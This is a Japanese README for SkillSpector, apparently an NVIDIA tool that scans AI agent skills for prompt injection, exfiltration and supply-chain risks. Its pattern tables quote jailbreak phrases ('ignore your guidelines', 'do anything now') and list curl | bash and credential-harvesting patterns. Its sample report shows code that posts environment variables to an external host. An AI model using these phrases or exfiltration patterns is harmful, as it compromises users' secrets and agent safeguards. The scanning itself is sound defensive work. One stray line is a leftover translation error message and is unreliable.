
SkillSpector v2.8.2
AIエージェントスキル向けセキュリティスキャナ。インストールする前に、Claude Code、Codex、MCPスキルに含まれる脆弱性、悪意のあるパターン、セキュリティリスク、プロンプトインジェクション、データ窃取、サプライチェーンリスクを検出します。
SkillSpector
AIエージェントスキル向けセキュリティスキャナ。 エージェントスキルをインストールする前に、脆弱性、悪意のあるパターン、セキュリティリスクを検出します。
概要
AIエージェントスキル(Claude Code、Codex CLI、Gemini CLIなどで使用)は、暗黙の信頼と最小限の審査で実行されます。調査によると、スキルの26.1%に脆弱性が含まれ、5.2%に悪意のある意図が疑われます。
SkillSpectorは、「このスキルは安全にインストールできますか?」 という問いに答えます。
SkillSpectorはNVIDIA Verified Skillsパイプラインの一部であり、公開前にエージェントスキルのスキャン、評価、署名を行います。合格したスキルはNVIDIAスキルカタログに公開されます。
ドキュメント
- インストール前のエージェントスキルスキャン — 公式ガイド: いつスキャンするか、レポートの読み方、インストールをゲートする方法。
- 開発ガイド — アーキテクチャ、パッケージ構成、アナライザパイプラインの拡張方法。
- Pi拡張機能 — SkillSpectorをPiツールとしてインストールし、エージェントセッション内からスキルをスキャンします。
特徴
- マルチフォーマット入力: Gitリポジトリ、URL、zipファイル、ディレクトリ、または単一ファイルをスキャン可能
- 17カテゴリにわたる68の脆弱性パターン: プロンプトインジェクション、データ外部送信、権限昇格、サプライチェーン、過剰なエージェンシー、出力処理、システムプロンプト漏洩、メモリポイズニング、ツールの悪用、不正エージェント、拒否回避、トリガー悪用、危険なコード(AST)、汚染追跡、YARAシグネチャ、MCP最小権限、MCPツールポイズニング
- 2段階分析: 高速な静的解析 + オプションのLLM意味評価
- ライブ脆弱性ルックアップ: SC4がOSV.devに問い合わせ、リアルタイムのCVEデータを取得。オフライン時は自動フォールバック
- 複数の出力形式: ターミナル、JSON、Markdown、SARIFレポート
- リスクスコアリング: 重大度ラベルと明確な推奨事項付きの0〜100のスコア
- ベースライン / 誤検知抑制: グロブルールまたはフィンガープリントベースラインで既知の検出結果を受け入れ、再スキャンでは新しい問題のみを表示(ドキュメント)
クイックスタート
インストール
オープンソースソフトウェアに関する通知: このプロジェクトは、追加のサードパーティ製オープンソースソフトウェアプロジェクトをダウンロードしてインストールします。使用前にこれらのオープンソースプロジェクトのライセンス条項を確認してください。
最初に仮想環境を作成してアクティベートします(すべてのmakeターゲットはvenvがアクティブであることを前提としています)。uvまたはpipを使用します。Makefileは、利用可能な場合はuvを、それ以外の場合はpipを使用します。
uvによるクイックインストール(CLIのみ):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
`skillspector mcp` を実行する予定の場合は、インストール時に MCP extra をインストールしてください:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
ソースから:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker (no Python required)
Pythonをインストールせずに、付属の[Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile)からローカルにビルドしてSkillSpectorを実行できます。このイメージは、Docker公式のPython `3.12-slim-bookworm` イメージをベースにしています。
**イメージをビルドする:**```bash
make docker-build
# or: docker build -t skillspector .
ローカルディレクトリをスキャンするには、カレントディレクトリをコンテナの作業ディレクトリである /scan にマウントします:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**LLM分析でスキャン**するには、ローカルの`.env`ファイルで資格情報を渡します:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
Input content is missing — the chunk appears to be empty. Please provide the source text for chunk 13 so I can translate it.```bash
docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
または、シェル環境から直接資格情報を渡します:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
ホストファイルシステムにレポートを書き込むには、マウントされたディレクトリに書き込みます:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**オプションのエイリアス**(繰り返しの静的スキャン用):```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
基本的な使い方```bash
Scan a local skill directory
skillspector scan ./my-skill/
Scan a single SKILL.md file
skillspector scan ./SKILL.md
Scan a Git repository
skillspector scan https://github.com/user/my-skill
Scan a zip file
skillspector scan ./my-skill.zip
#### サイズ制限
SkillSpector は、リモート入力とアーカイブ入力に対して 2 つの独立した上限を適用し、過大なダウンロードや zip 爆弾の影響を抑止します。
- **取り込みあたりの上限**: `INGEST_MAX_BYTES` (100 MiB) — ストリーミング URL ダウンロード、zip アーカイブの合計展開サイズ、Git リポジトリのクローン後のディスク使用量に適用されます。
- **Zip メンバー上限**: `INGEST_MAX_ZIP_MEMBERS` (10,000) — 単一の zip 内のエントリ数を制限します。
ファイルごとの 1 MB 分析上限 (`MAX_FILE_BYTES`) は、別のダウンストリーム制限であることに注意してください。これは、個々のアナライザーが取り込み済みディレクトリから読み取る内容を制限するものです。上記の取り込み上限は、最初にディスク上に配置できるコンテンツの量を制限します。いずれかの取り込み上限を超えると、`IngestLimitExceededError` が発生してフェイルクローズします。
### 出力形式```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
バッチスキャン
contrib/batch_scan/ からスキルのディレクトリ全体を並列でスキャンします:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
多言語検出(zh/ja/ko)とターミナル/JSON/Markdown出力に対応しています。
高い並行性でLLMスキャンを行うには、[`.env.example`](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/.env.example)
に従って複数のAPIキーを設定します。プールは、キーがアカウントレベルのレート制限を
共有しない限り、スループットと耐障害性を向上させます。
詳細は [コントリビュートガイド](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/docs/) を参照してください。
> **LLMサポートに関する注意:** デフォルト設定は、最も安価な公開オプションとして
> DeepSeek を対象としています。DeepSeek-Chat は
> [廃止予定](https://api-docs.deepseek.com/) であり、貢献者は
> ローカルモデルでテストするハードウェアを持っていません。バッチスキャナーは
> 元々 OpenAI 互換のエンドポイントでテストされていました。DeepSeek の
> 構造化出力サポートの欠如により、手動の JSON 解析パッチが必要でした。可能であれば、
> より汎用的なバックエンド(Ollama、vLLM、または別のプロバイダー)を提供してください。
> PR を歓迎します。
### 誤検知の抑制(ベースライン)
既知/許容済みの検出結果を抑制することで、リスクスコアが未トリアージの
問題のみを反映し、再スキャンでは *新しい* 検出結果のみが表示されるようにします。
完全なリファレンスは [抑制ガイド](https://github.com/nvidia/skillspector/blob/HEAD/docs/SUPPRESSION.md) を参照してください。```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
ベースラインは、ドリフト耐性のあるグロブルール(ルールID、ファイルパス、または
メッセージに基づく)を使用することもできます — .skillspector-baseline.example.yaml を参照してください。
厳密なフィンガープリントベースラインは証拠に紐づいています。スキャン対象のソースまたは
SkillSpectorのバージョンを変更しても、再レビューされるまでファインディングはアクティブなままです。
選択したベースラインまたはベースライン出力がスキルディレクトリ内に保存されている場合、
SkillSpectorはその正確なファイルをコンテンツ分析から除外するため、その抑制テキストが
ファインディングを作成したり、再生成されたフィンガープリントに入り込んだりすることはありません。
兄弟ファイルは通常のスキャン範囲に残ります。
LLM分析
最良の結果を得るには、セマンティック分析用にOpenAI互換のLLMエンドポイントを
設定してください。SKILLSPECTOR_PROVIDER でプロバイダーを選択します。ホスト型プロバイダーにはバンドルされたデフォルトモデルが同梱されていますが、CLIプロバイダーは SKILLSPECTOR_MODEL が設定されていない限り、ローカルランタイムのデフォルトモデルにフォールバックします。SkillSpectorは、
ローカルのOpenAI互換サーバー(Ollama、vLLM、llama.cpp)およびマネージド
推論ゲートウェイでも動作します。
プロバイダー(SKILLSPECTOR_PROVIDER) | 認証情報の環境変数 | エンドポイント | デフォルトモデル |
|---|---|---|---|
openai | OPENAI_API_KEY(+ 任意の OPENAI_BASE_URL) | api.openai.com(または任意のOpenAI互換URL) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | 任意のVertexスタイルのraw-predictプロキシ | claude-sonnet-4-6 |
bedrock | AWS_PROFILE(任意)+ AWS_REGION — boto3経由のSigV4 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (なし — ローカルCLI認証を使用) | ローカル claude バイナリ | ローカルClaudeランタイムへのフォールバック、または SKILLSPECTOR_MODEL |
codex_cli | (なし — ローカルCLI認証を使用) | ローカル codex バイナリ | ローカルCodexランタイムへのフォールバック、または SKILLSPECTOR_MODEL |
Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
Anthropic
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
Optional: select an AWS named profile. When unset, the standard
boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2 # default if unset
Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
Override with any Bedrock model ID, cross-region inference-profile
ID, or your own application-inference-profile ARN:
export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/
NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
Local Claude CLI — no API key; uses your existing claude auth login session
Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
Local Codex CLI — no API key; uses your existing codex login session
Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm
### MCP Server
SkillSpector を [Model Context Protocol](https://modelcontextprotocol.io) のサーバーとして
実行し、MCP 対応エージェント(Claude Code、Codex CLI、Gemini CLI)やリモートの
ランタイムがスキャンをツールとして呼び出し、**結果に基づいてスキル/MCP インストールの
可否を判定できるようにします** — SkillSpector を帯域外の監査ステップではなく、
ランタイムガードレールに変えます。
`skillspector mcp` には `skillspector[mcp]` が必要です。```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
stdio トランスポートは、ローカル CLI エージェント向けの現在の FastMCP パスであり、issue #199 で報告された initialize ハングはここでも依然として該当します。
サーバーは単一のツールを公開します:
scan_skill(target, use_llm=true, output_format="json")— Git URL、ファイル URL、.zip、.mdファイル、またはディレクトリをスキャンし、構造化された判定結果を返します:risk_score(0-100)、severity、recommendation、safe_to_install、findings。また、llm_used/scan_modeも報告するため、静的のみのスキャンによる低スコアが完全なフルスキャンと誤認されることはありません。
Claude Code で次のように登録します:```bash claude mcp add skillspector -- skillspector mcp
> **セキュリティ — HTTP トランスポートの信頼モデル**
>
> HTTP トランスポートは**認証なし**で提供されます。ポートに到達できる呼び出し元は誰でも `scan_skill` を呼び出せます。stdio または `127.0.0.1` 経由では、これは CLI と同じ信頼境界です。ルーティング可能なインターフェースにバインドする場合:
>
> - 外部に公開する前に、認証付きリバースプロキシ (例: nginx + mTLS) の背後にサーバーを配置してください。
> - ローカルパスと `file://` URL は HTTP 経由で**自動的に拒否**され、認証されていない呼び出し元が任意のホストファイルを読み取ることを防ぎます。リモートの Git および `.zip` URL のみが受け入れられます。
## 脆弱性パターン
SkillSpector は 17 カテゴリにわたる **68 の脆弱性パターン**を検出します。
### プロンプトインジェクション (5 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| P1 | 指示の上書き | HIGH | 安全制約を無視するコマンド |
| P2 | 隠された指示 | HIGH | コメント/不可視テキスト内の悪意のある指示 |
| P3 | 外部送信コマンド | HIGH | コンテキストを外部に送信する指示 |
| P4 | 行動操作 | MEDIUM | エージェントの判断を変える巧妙な指示 |
| P5 | 有害なコンテンツ | CRITICAL | 物理的危害を引き起こす可能性のある指示 |
### 拒否防止対策の回避 (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| AR1 | 拒否の抑止 | HIGH | 拒否しない、常に従うよう指示するもの (例: "never refuse"、"always comply") |
| AR2 | 免責事項の抑止 | HIGH | 警告、免責事項、倫理的コメントを省略するよう指示するもの (例: "no disclaimers"、"do not moralize") |
| AR3 | 安全ポリシーの無効化 | HIGH | ガードレールを無効化するジェイルブレイク型のフレーミング (例: "you have no restrictions"、"ignore your guidelines"、"do anything now") |
### データ外部送信 (4 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| E1 | 外部送信 | MEDIUM | 外部 URL へのデータ送信 |
| E2 | 環境変数の収集 | HIGH | API キーやシークレットの収集 |
| E3 | ファイルシステムの列挙 | MEDIUM | 機密ファイルを探してディレクトリをスキャン |
| E4 | コンテキスト漏えい | HIGH | 会話コンテキストを外部に送信 |
### 権限昇格 (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| PE1 | 過剰な権限 | LOW | 宣言された機能を超えるアクセス要求 |
| PE2 | sudo/root 実行 | MEDIUM | 昇格したシステム権限の呼び出し |
| PE3 | 認証情報へのアクセス | HIGH | SSH キー、トークン、パスワードの読み取り |
### サプライチェーン (6 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| SC1 | バージョン未固定の依存関係 | LOW | パッケージにバージョン制約がない |
| SC2 | 外部スクリプトの取得 | HIGH | curl \| bash およびリモートコード実行 |
| SC3 | 難読化コード | HIGH | Base64/hex エンコードによる実行 |
| SC4 | 既知の脆弱性がある依存関係 | HIGH | 既知の CVE を含む依存関係 (OSV.dev のライブ参照) |
| SC5 | 放置された依存関係 | MEDIUM | セキュリティ更新のないメンテナンス放棄されたパッケージ |
| SC6 | タイポスクワッティング | HIGH | 人気パッケージに類似したパッケージ名 |
### 過剰な自律性 (4 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| EA1 | 無制限のツールアクセス | HIGH | 制約のない無制限のツールアクセス |
| EA2 | 自律的な意思決定 | HIGH | 人間の介入なしに行われる高影響度の意思決定 |
| EA3 | スコープの拡大 | MEDIUM | 宣言された目的を超えて拡張された機能 |
| EA4 | 無制限のリソースアクセス | MEDIUM | リソース消費に対するレート制限や割り当てがない |
### 出力処理 (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| OH1 | 未検証の出力インジェクション | HIGH | サニタイズなしで使用されるモデル出力 |
| OH2 | クロスコンテキスト出力 | MEDIUM | 検証なしに信頼境界を越えて流れる出力 |
| OH3 | 無制限の出力 | MEDIUM | 出力サイズや生成レートに制限がない |
### システムプロンプト漏えい (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| P6 | 直接漏えい | HIGH | システムプロンプトや内部ルールを暴露する指示 |
| P7 | 間接的な抽出 | MEDIUM | 言い換え、翻訳、サイドチャネルによる抽出 |
| P8 | ツールベースの外部送信 | HIGH | ファイル書き込みやネットワークリクエストを介して外部送信されるシステムプロンプト |
### メモリポイズニング (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| MP1 | 永続的なコンテキストインジェクション | HIGH | 複数の対話にわたって持続するよう設計されたコンテンツ |
| MP2 | コンテキストウィンドウの詰め込み | MEDIUM | 安全制約を押しのける埋め草コンテンツ |
| MP3 | メモリ操作 | HIGH | エージェントのメモリまたは保存状態への改ざん |
### ツールの悪用 (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| TM1 | ツールパラメータの悪用 | HIGH | 意図しない動作を狙って細工されたパラメータ (shell=True, --force) |
| TM2 | チェーン悪用 | HIGH | 個々の安全チェックを回避するツールチェーン |
| TM3 | 安全でないデフォルト | MEDIUM | 過度に寛容なデフォルト設定 (TLS 無効、認証なし) |
### ローグエージェント (2 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| RA1 | 自己改変 | CRITICAL | 実行時に自身のコードや設定を変更する |
| RA2 | セッション永続化 | HIGH | cron ジョブやスタートアップスクリプトによる不正な永続化 |
### トリガー悪用 (3 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| TR1 | 過度に広いトリガー | MEDIUM | 一般的な単語に一致するトリガーパターン |
| TR2 | シャドウコマンドトリガー | HIGH | 組み込みコマンドや他のスキルを覆い隠すトリガー |
| TR3 | キーワード誘引トリガー | MEDIUM | 起動を最大化するように設計された汎用トリガー |
### 行動 AST (9 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| AST1 | exec() 呼び出し | CRITICAL | 任意のコード実行を可能にする直接的な exec() |
| AST2 | eval() 呼び出し | HIGH | 任意の式を評価する直接的な eval() |
| AST3 | 動的インポート | HIGH | 実行時に任意のモジュールを読み込む \_\_import\_\_() |
| AST4 | subprocess 呼び出し | HIGH | subprocess を介した外部コマンド実行 |
| AST5 | os.system / exec 系 | HIGH | os モジュールを介したシェルコマンド |
| AST6 | compile() 呼び出し | MEDIUM | 文字列からのコードオブジェクト生成 |
| AST7 | 動的 getattr() | MEDIUM | リテラルでない名前による任意の属性アクセス |
| AST8 | 危険な実行チェーン | CRITICAL | 動的ソース (ネットワーク、エンコードされたデータ) と組み合わせた exec/eval |
| AST9 | リフレクティブ getattr() シンク | HIGH | AST1/AST5 を回避する `getattr(os,'system')` / `getattr(builtins,'exec')` によるリフレクティブ exec |
### 汚染追跡 (5 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| TT1 | 直接的な汚染フロー | HIGH | データがサニタイズなしでソースからシンクへ直接流れる |
| TT2 | 変数を介した汚染フロー | MEDIUM | データが中間変数を介してソースからシンクへ流れる |
| TT3 | 認証情報の外部送信チェーン | CRITICAL | 認証情報 (環境変数、シークレット) がネットワーク出力シンクへ流れる |
| TT4 | ファイル読み取りからネットワーク外部送信 | HIGH | ファイルの内容がネットワーク出力シンクへ流れる |
| TT5 | 外部入力からコード実行 | CRITICAL | ネットワークまたはユーザー入力が exec/eval/subprocess シンクへ流れる |
### YARA シグネチャ (4 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| YR1 | マルウェア一致 | CRITICAL | 既知のマルウェアシグネチャに対する YARA ルール一致 |
| YR2 | ウェブシェル一致 | CRITICAL | ウェブシェルパターンに対する YARA ルール一致 |
| YR3 | クリプトマイナー一致 | HIGH | 暗号通貨マイニングの指標に対する YARA ルール一致 |
| YR4 | ハッキングツール / エクスプロイト一致 | HIGH | ハッキングツールまたはエクスプロイトコードに対する YARA ルール一致 |
### MCP 最小権限 (4 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| LP1 | 過少宣言されたケイパビリティ | HIGH | コードが宣言された権限に記載されていないケイパビリティを使用している |
| LP2 | ワイルドカード権限 | MEDIUM | 権限リストにワイルドカード (\*, all, full, any) が含まれる |
| LP3 | 権限宣言の欠落 | MEDIUM | permissions フィールドがないが、コードに検出可能なケイパビリティがある |
| LP4 | 過剰宣言された権限 | LOW | 権限は宣言されているが、対応するコードのケイパビリティが見つからない |
### MCP ツールポイズニング (4 パターン)
| ID | パターン | 深刻度 | 説明 |
|----|---------|----------|-------------|
| TP1 | 隠された指示 | HIGH | メタデータ内の隠されたディレクティブ (HTML コメント、ゼロ幅文字、base64、data URI) |
| TP2 | Unicode による偽装 | HIGH | ツールメタデータ内のホモグリフ、RTL オーバーライド、混在スクリプト識別子 |
| TP3 | パラメータ説明インジェクション | MEDIUM | パラメータ定義内のインジェクションパターン (オーバーライド、システムトークン、悪意のあるデフォルト値) |
| TP4 | 説明と動作の不一致 | MEDIUM | 宣言されたツールの説明が実際のコード動作と一致しない (LLM による検出) |
検出されたすべてのパターンは上記の表に記載されています。
## リスクスコアリング
### スコア計算
- **CRITICAL 問題**: +50 ポイント
- **HIGH 問題**: +25 ポイント
- **MEDIUM 問題**: +10 ポイント
- **LOW 問題**: +5 ポイント
- **実行可能スクリプト**: 1.3x 乗数
### 深刻度レベル
| スコア | 深刻度 | 推奨 |
|-------|----------|----------------|
| 0-20 | LOW | 安全 |
| 21-50 | MEDIUM | 注意 |
| 51-80 | HIGH | インストールしない |
| 81-100 | CRITICAL | インストールしない |
## 出力例
### ターミナル出力```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
設定
環境変数
| 変数 | 説明 | 必須 |
|---|---|---|
SKILLSPECTOR_PROVIDER | アクティブなLLMプロバイダー: openai、anthropic、anthropic_proxy、bedrock、nv_build、claude_cli、codex_cli、または gemini_cli。ホスト型プロバイダーはバンドルされた model_registry.yaml のデフォルトを使用します。claude_cli と codex_cli は、SKILLSPECTOR_MODEL が設定されていない限り、ローカルCLIランタイムのデフォルトモデルにフォールバックします。デフォルトは nv_build です。 | 任意 |
NVIDIA_INFERENCE_KEY | nv_build プロバイダー(build.nvidia.com)の認証情報。 | SKILLSPECTOR_PROVIDER=nv_build の場合、LLM分析に必須 |
OPENAI_API_KEY | OpenAIプロバイダー(SKILLSPECTOR_PROVIDER=openai)の認証情報。アクティブなプロバイダーが認証情報を返さない場合、認証情報ウォーターフォールのティア2フォールバックとしても機能します。 | SKILLSPECTOR_PROVIDER=openai の場合、LLM分析に必須 |
OPENAI_BASE_URL | OpenAIエンドポイントを上書きします(例: Ollama を指定)。 | 任意 |
SKILLSPECTOR_REASONING_EFFORT | プロバイダーおよびモデルに依存する、オプションの推論努力(reasoning-effort)設定。空でない値はトリムされ、そのまま渡されます。未設定または空白の場合は、プロバイダーのデフォルト動作が維持されます。 | 任意 |
ANTHROPIC_API_KEY | Anthropicプロバイダー(SKILLSPECTOR_PROVIDER=anthropic)の認証情報。 | SKILLSPECTOR_PROVIDER=anthropic の場合、LLM分析に必須 |
ANTHROPIC_BASE_URL | ネイティブAnthropicエンドポイントを上書きします(デフォルト: https://api.anthropic.com)。 | 任意 |
ANTHROPIC_PROXY_ENDPOINT_URL | Anthropicプロキシプロバイダー(Vertexスタイルの raw-predict)の完全なエンドポイントURL。 | SKILLSPECTOR_PROVIDER=anthropic_proxy の場合に必須 |
ANTHROPIC_PROXY_API_KEY | AnthropicプロキシプロバイダーのBearerトークン。 | SKILLSPECTOR_PROVIDER=anthropic_proxy の場合に必須 |
ANTHROPIC_PROXY_API_VERSION | リクエストボディで送信される anthropic_version の値(デフォルト: vertex-2023-10-16)。 | 任意 |
AWS_PROFILE | Bedrockプロバイダー用の名前付きAWSプロファイル — boto3 を介した SigV4 で認証します。未設定の場合、標準の boto3 認証情報チェーン(環境変数、インスタンスメタデータ、SSO など)が解決します。 | 任意(SKILLSPECTOR_PROVIDER=bedrock の場合に使用) |
AWS_REGION | Bedrock RuntimeエンドポイントのAWSリージョン。デフォルトは us-west-2。 | 任意(SKILLSPECTOR_PROVIDER=bedrock の場合に使用) |
SKILLSPECTOR_MODEL | アクティブなプロバイダーモデルを上書きします。ホスト型プロバイダーの場合、LLM分析テーブルのバンドルされたデフォルトを置き換えます。claude_cli と codex_cli の場合、ローカルCLIランタイムのフォールバックを使用する代わりに、--model として転送されます。 | 任意 |
SKILLSPECTOR_MODEL_REGISTRY | バンドルされたプロバイダー別YAMLレジストリ(src/skillspector/providers/<provider>/model_registry.yaml)をカスタムパスで上書きします。 | 任意 |
SKILLSPECTOR_LOG_LEVEL | ログレベル: DEBUG、INFO、WARNING、ERROR(デフォルト: WARNING)。 | 任意 |
CLIプロバイダー(
claude_cli、codex_cli): APIキーは不要です。認証はエージェントCLI自身のログインセッション(claude auth login/codex login)によって完全に管理されます。これらのプロバイダーがアクティブな場合、SkillSpectorはAPIキーを読み取ったり転送したりすることはありません。サブプロセスは強化されたサンドボックスで実行されます: ツール無効、MCPなし、読み取り専用サンドボックスモード(codex)、そして信頼できないスキルコンテンツはstdin経由でのみ配信されます。
CLI オプション```bash
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
Generate a baseline of all current findings (see docs/SUPPRESSION.md)
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## SkillSpector の統合
SkillSpector は、他のツール(CI パイプライン、インストールゲート、エディタ統合)から駆動されるように設計されています。その終了コードと JSON 出力は安定した契約です。
### 終了コード
`skillspector scan` は以下の終了コードで終了します:
| Code | Meaning |
|------|---------|
| `0` | スキャン完了、`risk_score` ≤ 50(推奨 `SAFE` または `CAUTION`) |
| `1` | スキャン完了、`risk_score` > 50(推奨 `DO_NOT_INSTALL`) |
| `2` | エラー(不正な入力、読み取り不能なソース、内部障害) |
> 終了コードは `SAFE` と `CAUTION` を `0` にまとめます。それらに対して異なる動作を行う場合(例: `CAUTION` では *警告*、`DO_NOT_INSTALL` では *ブロック*)、終了コードに頼るのではなく、JSON 出力の `recommendation` フィールドを読み取ってください。
### 機械可読出力
`--format json` は JSON レポートを生成します。`--output`/`-o` を指定しない場合は stdout に書き出されます:```bash
skillspector scan ./my-skill/ --format json
最上位の構造は次のとおりです(この例は完全なLLM支援スキャンを示しています。--no-llmを指定すると、metadata.llm_requestedはfalseになります):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "anthropic",
"model": "claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`。
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`。重大度からのマッピング: `LOW → SAFE`、`MEDIUM → CAUTION`、`HIGH`/`CRITICAL → DO_NOT_INSTALL`。
- `metadata.llm_error` は、LLM 分析が要求されたが利用できなかった場合にのみ現れます。
